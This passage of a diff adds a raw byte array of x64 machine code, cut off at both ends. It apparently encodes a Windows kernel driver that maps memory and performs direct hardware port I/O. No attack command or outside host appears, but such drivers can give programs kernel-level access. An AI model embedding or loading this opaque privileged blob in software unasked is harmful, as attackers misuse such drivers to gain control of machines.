0x49, + 0x8B, 0x5E, 0x40, 0x48, 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x35, + 0x09, 0x00, 0x00, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0xCB, 0xFF, 0x15, + 0xB0, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x79, 0x12, 0x00, 0x00, 0xE8, + 0x1C, 0x09, 0x00, 0x00, 0x48, 0x8B, 0x5E, 0x18, 0x33, 0xC9, 0x48, 0x89, + 0x4D, 0xD8, 0x48, 0x89, 0x4D, 0xE0, 0x48, 0x89, 0x4D, 0xE8, 0x48, 0x89, + 0x4D, 0xF0, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB6, 0x43, 0x02, + 0x89, 0x45, 0xD8, 0x88, 0x4B, 0x08, 0x0F, 0xB7, 0x43, 0x08, 0x09, 0x45, + 0xD8, 0x0F, 0xB7, 0x43, 0x0A, 0x89, 0x45, 0xDC, 0x66, 0x89, 0x4B, 0x1C, + 0x48, 0x8D, 0x0D, 0x45, 0x12, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xDC, 0x44, + 0x0B, 0x43, 0x1C, 0x8B, 0x55, 0xD8, 0x44, 0x89, 0x45, 0xDC, 0x8B, 0x43, + 0x20, 0x89, 0x45, 0xE0, 0x8B, 0x43, 0x28, 0x89, 0x45, 0xE8, 0x8B, 0x43, + 0x2C, 0x89, 0x45, 0xEC, 0x8B, 0x43, 0x30, 0x89, 0x45, 0xF0, 0xE8, 0xB1, + 0x08, 0x00, 0x00, 0x44, 0x8B, 0x45, 0xE4, 0x48, 0x8D, 0x0D, 0x2E, 0x12, + 0x00, 0x00, 0x8B, 0x55, 0xE0, 0xE8, 0x9E, 0x08, 0x00, 0x00, 0x44, 0x8B, + 0x45, 0xEC, 0x48, 0x8D, 0x0D, 0x3B, 0x12, 0x00, 0x00, 0x8B, 0x55, 0xE8, + 0xE8, 0x8B, 0x08, 0x00, 0x00, 0x8B, 0x55, 0xF0, 0x48, 0x8D, 0x0D, 0x49, + 0x12, 0x00, 0x00, 0xE8, 0x7C, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4D, + 0x12, 0x00, 0x00, 0xE8, 0x70, 0x08, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, + 0xE8, 0xDF, 0xEA, 0xFF, 0xFF, 0x48, 0x8D, 0x0D, 0x48, 0x12, 0x00, 0x00, + 0xE8, 0x5B, 0x08, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xD8, 0x48, 0x8D, 0x4D, + 0xC0, 0x66, 0x89, 0x43, 0x08, 0x8B, 0x45, 0xD8, 0x89, 0x43, 0x18, 0x8B, + 0x45, 0xDC, 0x89, 0x43, 0x1C, 0x0F, 0xB7, 0x45, 0xDC, 0x66, 0x89, 0x43, + 0x0A, 0x8B, 0x45, 0xE0, 0x89, 0x43, 0x20, 0x0F, 0xB7, 0x45, 0xE0, 0x66, + 0x89, 0x43, 0x0C, 0x8B, 0x45, 0xE4, 0x89, 0x43, 0x24, 0x8B, 0x45, 0xE8, + 0x89, 0x43, 0x28, 0x8B, 0x45, 0xEC, 0x89, 0x43, 0x2C, 0x0F, 0xB7, 0x45, + 0xF4, 0x66, 0x89, 0x43, 0x14, 0xFF, 0x15, 0x9D, 0x19, 0x00, 0x00, 0x44, + 0x8B, 0x43, 0x20, 0x48, 0x8D, 0x0D, 0xFA, 0x11, 0x00, 0x00, 0x8B, 0x53, + 0x1C, 0xE8, 0xFA, 0x07, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0x43, 0x0C, 0x48, + 0x8D, 0x0D, 0x06, 0x12, 0x00, 0x00, 0x0F, 0xB7, 0x53, 0x08, 0xE8, 0xE5, + 0x07, 0x00, 0x00, 0x8B, 0x53, 0x28, 0x48, 0x8D, 0x0D, 0x13, 0x12, 0x00, + 0x00, 0xE8, 0xD6, 0x07, 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, + 0x34, 0x00, 0x00, 0x00, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0xCB, 0x10, 0x00, + 0x00, 0xE8, 0xBE, 0x07, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, + 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x65, 0x07, 0x00, 0x00, 0x4C, + 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, + 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x8B, 0xC4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x55, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0x68, 0xA1, 0x48, 0x81, 0xEC, 0xD0, + 0x00, 0x00, 0x00, 0x8B, 0x42, 0x10, 0x48, 0x8D, 0x4D, 0x07, 0x44, 0x8B, + 0x32, 0x48, 0x8B, 0xF2, 0x44, 0x8B, 0x7A, 0x04, 0x48, 0x8B, 0x5A, 0x08, + 0x48, 0x83, 0x65, 0xCF, 0x00, 0x48, 0x83, 0x65, 0xFF, 0x00, 0x89, 0x45, + 0xD7, 0x89, 0x45, 0x6F, 0x8B, 0x42, 0x14, 0x48, 0x8D, 0x15, 0x52, 0x0F, + 0x00, 0x00, 0x48, 0x89, 0x45, 0xE7, 0xFF, 0x15, 0xA0, 0x19, 0x00, 0x00, + 0x48, 0x83, 0x65, 0x1F, 0x00, 0x48, 0x8D, 0x45, 0x07, 0x0F, 0x57, 0xC0, + 0x48, 0x89, 0x45, 0x27, 0x4C, 0x8D, 0x45, 0x17, 0xC7, 0x45, 0x17, 0x30, + 0x00, 0x00, 0x00, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xC7, 0x45, 0x2F, 0x40, + 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xCF, 0xF3, 0x0F, 0x7F, 0x45, 0x37, + 0xFF, 0x15, 0x32, 0x19, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, + 0x30, 0x01, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8D, + 0x45, 0xFF, 0x48, 0x8B, 0x4D, 0xCF, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xBA, 0x1F, 0x00, 0x0F, 0x00, 0xFF, 0x15, + 0xF4, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x0F, 0x88, 0xF8, 0x00, + 0x00, 0x00, 0x8B, 0x45, 0xE7, 0x4C, 0x8D, 0x4D, 0x6F, 0x48, 0x03, 0xC3, + 0x4C, 0x8B, 0xC3, 0x48, 0x89, 0x45, 0xDF, 0x41, 0x8B, 0xD7, 0x48, 0x8D, + 0x45, 0xF7, 0x41, 0x8B, 0xCE, 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, + 0x24, 0x18, 0x00, 0x00, 0x4C, 0x8B, 0x45, 0xDF, 0x4C, 0x8D, 0x4D, 0xD7, + 0x8A, 0xD8, 0x41, 0x8B, 0xD7, 0x48, 0x8D, 0x45, 0xDF, 0x41, 0x8B, 0xCE, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xFF, 0x15, 0x05, 0x18, 0x00, 0x00, 0x84, + 0xDB, 0x0F, 0x84, 0xA6, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84, 0x9E, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xDF, 0x48, 0x8B, 0x4D, 0xF7, 0x48, + 0x2B, 0xC1, 0x85, 0xC0, 0x0F, 0x84, 0x8B, 0x00, 0x00, 0x00, 0x83, 0x7D, + 0x6F, 0x00, 0x8B, 0xD0, 0x48, 0x89, 0x55, 0xE7, 0x74, 0x04, 0x8B, 0xC1, + 0xEB, 0x74, 0x48, 0x83, 0x65, 0xC7, 0x00, 0x48, 0x8D, 0x45, 0xE7, 0xC7, + 0x44, 0x24, 0x48, 0x04, 0x02, 0x00, 0x00, 0x4C, 0x8D, 0x45, 0xC7, 0x83, + 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xC9, 0xC7, 0x44, 0x24, 0x38, 0x01, + 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xEF, + 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x54, 0x24, 0x20, 0x48, 0x83, + 0xCA, 0xFF, 0x48, 0x89, 0x4D, 0xEF, 0x48, 0x8B, 0x4D, 0xCF, 0xFF, 0x15, + 0x40, 0x18, 0x00, 0x00, 0x8B, 0xF8, 0x85, 0xC0, 0x78, 0x30, 0x48, 0x8B, + 0x55, 0xC7, 0x8B, 0x45, 0xEF, 0x8B, 0x4D, 0xF7, 0x48, 0x2B, 0xC8, 0x48, + 0x03, 0xD1, 0x48, 0x8D, 0x0D, 0x2B, 0x0E, 0x00, 0x00, 0x48, 0x89, 0x55, + 0xC7, 0xE8, 0xEA, 0x05, 0x00, 0x00, 0x48, 0x8B, 0x45, 0xC7, 0x48, 0x89, + 0x06, 0x33, 0xFF, 0xEB, 0x05, 0xBF, 0x01, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x4D, 0xCF, 0xFF, 0x15, 0xF0, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, + 0xD0, 0x00, 0x00, 0x00, 0x8B, 0xC7, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, + 0x73, 0x30, 0x49, 0x8B, 0x7B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, + 0x5E, 0x5D, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x83, 0x64, + 0x24, 0x38, 0x00, 0x33, 0xC0, 0x89, 0x44, 0x24, 0x3C, 0x48, 0x8B, 0xDA, + 0x48, 0x85, 0xD2, 0x74, 0x44, 0x81, 0xC1, 0xFF, 0x0F, 0x00, 0x00, 0xC7, + 0x44, 0x24, 0x38, 0xFF, 0xFF, 0xFF, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x38, + 0xB8, 0x00, 0xF0, 0xFF, 0xFF, 0x48, 0x23, 0xC8, 0xFF, 0x15, 0x46, 0x17, + 0x00, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x1A, 0x41, + 0xB8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x8B, 0xD0, 0x48, + 0x8D, 0x0D, 0xC2, 0x0F, 0x00, 0x00, 0xE8, 0x55, 0x05, 0x00, 0x00, 0xB0, + 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0xFF, 0x15, 0x85, 0x17, 0x00, 0x00, 0x0F, + 0xB6, 0xD0, 0x48, 0x8D, 0x0D, 0x7B, 0x0F, 0x00, 0x00, 0xE8, 0x2E, 0x05, + 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0x6D, 0x17, 0x00, 0x00, 0x84, + 0xC0, 0x74, 0x0D, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xF0, 0x16, 0x00, 0x00, + 0xB0, 0x01, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, + 0xF9, 0xFF, 0x15, 0x39, 0x17, 0x00, 0x00, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, + 0x0D, 0x87, 0x0F, 0x00, 0x00, 0x48, 0x8B, 0xD0, 0x48, 0x8B, 0xD8, 0xE8, + 0xE4, 0x04, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, + 0x85, 0xC9, 0x75, 0x04, 0x32, 0xC0, 0xEB, 0x38, 0x48, 0x8B, 0x19, 0x48, + 0x8B, 0x79, 0x08, 0x48, 0x8B, 0xD3, 0x8B, 0x71, 0x10, 0x4C, 0x8B, 0xC7, + 0x44, 0x8B, 0xCE, 0x48, 0x8D, 0x0D, 0x5A, 0x0F, 0x00, 0x00, 0xE8, 0x9D, + 0x04, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x13, 0x48, 0x2B, 0xFB, 0x8B, 0xD6, + 0x8A, 0x0C, 0x1F, 0x88, 0x0B, 0x48, 0xFF, 0xC3, 0x48, 0x83, 0xEA, 0x01, + 0x75, 0xF2, 0xB0, 0x01, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, + 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xDA, 0x25, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x45, 0x33, 0xFF, 0x48, + 0x8D, 0x0D, 0xBE, 0x0C, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0xDF, 0x49, 0x8B, + 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0x37, 0x04, 0x00, 0x00, 0x83, 0x7F, 0x10, + 0x34, 0x0F, 0x85, 0xC9, 0x00, 0x00, 0x00, 0x83, 0x7F, 0x08, 0x34, 0x0F, + 0x85, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x55, + 0xC0, 0x49, 0x8B, 0x4E, 0x40, 0x4C, 0x89, 0x7E, 0x38, 0x0F, 0xB7, 0x30, + 0xFF, 0x15, 0x92, 0x15, 0x00, 0x00, 0xBF, 0x3E, 0x11, 0x00, 0x00, 0x45, + 0x8D, 0x77, 0x01, 0x66, 0x83, 0xFB, 0x0A, 0x0F, 0x87, 0x85, 0x00, 0x00, + 0x00, 0x0F, 0xB7, 0xC3, 0x48, 0x8D, 0x4D, 0xD8, 0x89, 0x45, 0xDC, 0x0F, + 0xB7, 0xC6, 0x89, 0x45, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, + 0xF0, 0x89, 0x7D, 0xD8, 0x44, 0x89, 0x7D, 0xE0, 0xE8, 0x4B, 0xE6, 0xFF, + 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x75, 0x07, + 0x66, 0x83, 0x7D, 0xE8, 0x0B, 0x74, 0x06, 0x66, 0x41, 0x03, 0xDE, 0xEB, + 0xBA, 0x89, 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xFB, 0x0F, + 0xB7, 0xDE, 0x89, 0x5D, 0xE4, 0x4C, 0x89, 0x7D, 0xE8, 0x4C, 0x89, 0x7D, + 0xF0, 0x89, 0x7D, 0xDC, 0xC7, 0x45, 0xE0, 0x04, 0x00, 0x00, 0x00, 0xE8, + 0x0C, 0xE6, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, + 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x89, + 0x7D, 0xDC, 0x44, 0x89, 0x75, 0xE0, 0x89, 0x5D, 0xE4, 0xE8, 0xEA, 0xE5, + 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xF8, 0x14, 0x00, 0x00, + 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, + 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x0B, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x9C, + 0x24, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x60, 0x41, 0x5F, 0x41, + 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, + 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xA3, 0x24, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x44, 0x24, 0x58, 0x48, 0x8B, 0xE9, 0x41, 0xBE, 0x01, 0x00, + 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x63, 0x0B, 0x00, 0x00, 0x41, 0x0F, 0xB7, + 0xDE, 0x49, 0x8B, 0xF8, 0x48, 0x8B, 0xF2, 0xE8, 0xFC, 0x02, 0x00, 0x00, + 0x83, 0x7F, 0x10, 0x34, 0x75, 0x61, 0x83, 0x7F, 0x08, 0x34, 0x75, 0x5B, + 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x8B, 0x46, + 0x18, 0x33, 0xED, 0x48, 0x89, 0x6E, 0x38, 0x0F, 0xB7, 0x38, 0xFF, 0x15, + 0x5C, 0x14, 0x00, 0x00, 0x66, 0x83, 0xFB, 0x0A, 0x77, 0x2A, 0x0F, 0xB7, + 0xC3, 0x66, 0x41, 0x03, 0xDE, 0x89, 0x44, 0x24, 0x3C, 0x0F, 0xB7, 0xC7, + 0x89, 0x44, 0x24, 0x44, 0x48, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x89, 0x6C, + 0x24, 0x50, 0xC7, 0x44, 0x24, 0x38, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x6C, + 0x24, 0x40, 0xEB, 0xD0, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x29, + 0x14, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, + 0x48, 0x8B, 0x4C, 0x24, 0x58, 0x48, 0x33, 0xCC, 0xE8, 0x3B, 0x02, 0x00, + 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, + 0x6B, 0x38, 0x49, 0x8B, 0xE3, 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, + 0xB0, 0x01, 0x45, 0x0F, 0xB7, 0xD0, 0x44, 0x0F, 0xB7, 0xDA, 0x44, 0x0F, + 0xB7, 0xC9, 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x01, 0x74, 0x2C, 0x45, + 0x0F, 0xB7, 0xC3, 0x45, 0x85, 0xC0, 0x74, 0x11, 0x49, 0x8B, 0xC8, 0xBA, + 0x80, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, + 0xF2, 0x41, 0x0F, 0xB7, 0xD1, 0xB0, 0x01, 0xEE, 0x41, 0x83, 0xEA, 0x01, + 0x74, 0x08, 0xEC, 0xA8, 0x01, 0x75, 0xD8, 0x33, 0xC0, 0xC3, 0x83, 0xC8, + 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x41, 0x0F, 0xB7, 0xE8, 0x0F, 0xB7, 0xF2, 0x44, 0x0F, 0xB7, 0x44, 0x24, + 0x50, 0x41, 0x0F, 0xB7, 0xD1, 0x41, 0x0F, 0xB7, 0xF9, 0x0F, 0xB7, 0xD9, + 0xE8, 0x83, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x5A, 0x40, 0x02, + 0xF6, 0x8D, 0x53, 0x04, 0x40, 0xFE, 0xC6, 0x40, 0x8A, 0xC6, 0x8D, 0x73, + 0x05, 0xEE, 0x8D, 0x53, 0x03, 0x40, 0x8A, 0xC5, 0xEE, 0xB0, 0xFF, 0x0F, + 0xB7, 0xD3, 0xEE, 0x0F, 0xB7, 0xD6, 0xEE, 0xB0, 0x48, 0x8D, 0x53, 0x02, + 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x10, 0x8B, 0xC8, 0xBA, 0x80, + 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x48, 0x83, 0xE9, 0x01, 0x75, 0xF2, + 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, + 0xE8, 0x2F, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x06, 0x0F, 0xB7, + 0xD6, 0xEC, 0xEB, 0x02, 0x32, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x20, 0x5F, 0xC3, 0xCC, 0xB0, 0x1F, 0x45, 0x0F, 0xB7, 0xD0, 0x41, 0xBB, + 0x01, 0x00, 0x00, 0x00, 0x44, 0x0F, 0xB7, 0xCA, 0x66, 0x41, 0x03, 0xCB, + 0x0F, 0xB7, 0xD1, 0xEE, 0xEC, 0xA8, 0x1F, 0x74, 0x2E, 0x45, 0x0F, 0xB7, + 0xC9, 0x45, 0x85, 0xC9, 0x74, 0x10, 0x4D, 0x8B, 0xC1, 0xBA, 0x80, 0x00, + 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x4D, 0x2B, 0xC3, 0x75, 0xF3, 0x0F, 0xB7, + 0xD1, 0xB0, 0x1F, 0xEE, 0x45, 0x2B, 0xD3, 0x74, 0x0D, 0xEC, 0x3C, 0x10, + 0x74, 0x05, 0xEC, 0xA8, 0x1F, 0x75, 0xD6, 0x33, 0xC0, 0xC3, 0x83, 0xC8, + 0xFF, 0xC3, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x0F, 0xB7, 0xEA, 0x33, 0xC0, 0x0F, 0xB7, + 0xD1, 0x45, 0x0F, 0xB7, 0xF0, 0x44, 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x41, + 0x0F, 0xB7, 0xF9, 0xEE, 0x41, 0x0F, 0xB7, 0xD1, 0x0F, 0xB7, 0xD9, 0xE8, + 0x70, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x6E, 0x33, 0xC0, 0x8D, + 0x73, 0x04, 0x0F, 0xB7, 0xD3, 0x41, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xEE, + 0xB0, 0xFF, 0x0F, 0xB7, 0xD6, 0xEE, 0x8D, 0x04, 0x6D, 0x00, 0x00, 0x00, + 0x00, 0x8D, 0x53, 0x02, 0xEE, 0x41, 0x8A, 0xC6, 0x8D, 0x53, 0x03, 0xEE, + 0xB0, 0x1F, 0x41, 0x8D, 0x14, 0x18, 0xEE, 0xB0, 0x07, 0x0F, 0xB7, 0xD3, + 0xEE, 0x0F, 0xB7, 0xC7, 0x85, 0xC0, 0x74, 0x0F, 0x8B, 0xC8, 0xBA, 0x80, + 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xEE, 0x49, 0x2B, 0xC8, 0x75, 0xF3, 0x44, + 0x0F, 0xB7, 0x44, 0x24, 0x50, 0x0F, 0xB7, 0xD7, 0x0F, 0xB7, 0xCB, 0xE8, + 0x10, 0xFF, 0xFF, 0xFF, 0x83, 0xF8, 0xFF, 0x74, 0x0E, 0x0F, 0xB7, 0xD3, + 0xEC, 0x84, 0xC0, 0x75, 0x06, 0x0F, 0xB7, 0xD6, 0xEC, 0xEB, 0x02, 0x32, + 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, + 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24, 0x48, 0x48, 0x83, 0xC4, + 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3B, 0x0D, 0xC1, + 0x21, 0x00, 0x00, 0x75, 0x11, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1, + 0xFF, 0xFF, 0x75, 0x02, 0x90, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0x01, + 0x00, 0x00, 0x00, 0xCC, 0x48, 0x83, 0xEC, 0x38, 0x48, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x48, 0x8B, 0xD1, 0x4C, 0x8B, 0x0D, 0x9C, 0x21, 0x00, 0x00, + 0xB9, 0xF7, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x05, 0x88, 0x21, 0x00, 0x00, + 0xFF, 0x15, 0x52, 0x12, 0x00, 0x00, 0xCC, 0xCC, 0xFF, 0x25, 0xEA, 0x11, + 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0x4D, 0x8B, 0x41, 0x38, + 0x48, 0x8B, 0xCA, 0x49, 0x8B, 0xD1, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, + 0x40, 0x53, 0x41, 0x8B, 0x00, 0x48, 0x8B, 0xDA, 0x44, 0x8B, 0xD8, 0x4C, + 0x8B, 0xC9, 0x41, 0x83, 0xE3, 0xF8, 0x4C, 0x8B, 0xD1, 0xA8, 0x04, 0x74, + 0x13, 0x41, 0x8B, 0x40, 0x08, 0x4D, 0x63, 0x50, 0x04, 0xF7, 0xD8, 0x4C, + 0x03, 0xD1, 0x48, 0x63, 0xC8, 0x4C, 0x23, 0xD1, 0x49, 0x63, 0xC3, 0x4A, + 0x8B, 0x14, 0x10, 0x48, 0x8B, 0x43, 0x10, 0x8B, 0x48, 0x08, 0x48, 0x03, + 0x4B, 0x08, 0x8A, 0x41, 0x03, 0xA8, 0x0F, 0x74, 0x09, 0x0F, 0xB6, 0xC0, + 0x83, 0xE0, 0xF0, 0x4C, 0x03, 0xC8, 0x4C, 0x33, 0xCA, 0x49, 0x8B, 0xC9, + 0x5B, 0xE9, 0x36, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xC2, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, + 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4D, 0x33, 0xDB, 0xFF, 0x25, 0xAF, 0x11, 0x00, + 0x00, 0xCC, 0x49, 0x83, 0xCB, 0x01, 0xEB, 0xF3, 0x49, 0x83, 0xCB, 0x02, + 0xEB, 0xED, 0x49, 0x83, 0xCB, 0x03, 0xEB, 0xE7, 0x49, 0x83, 0xCB, 0x04, + 0xEB, 0xE1, 0x49, 0x83, 0xCB, 0x05, 0xEB, 0xDB, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0x66, 0x90, 0x49, 0x8B, 0xC3, 0x48, 0x83, 0xE0, 0x07, 0x85, + 0xC0, 0x75, 0x10, 0x48, 0x8B, 0x14, 0x24, 0x64, 0x4C, 0x8B, 0x04, 0x24, + 0xB9, 0x2C, 0x00, 0x00, 0x00, 0xCD, 0x29, 0x3C, 0x03, 0x74, 0x1F, 0x4C, + 0x8B, 0xC1, 0x3C, 0x01, 0x74, 0x18, 0x4C, 0x8B, 0xC2, 0x3C, 0x02, 0x74, + 0x11, 0x4D, 0x8B, 0xC1, 0x3C, 0x04, 0x74, 0x0A, 0x4D, 0x8B, 0xC2, 0x3C, + 0x05, 0x74, 0x03, 0x4D, 0x33, 0xC0, 0x4C, 0x33, 0xD8, 0x49, 0x8B, 0x13, + 0xEB, 0xCE, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x0F, 0x1F, 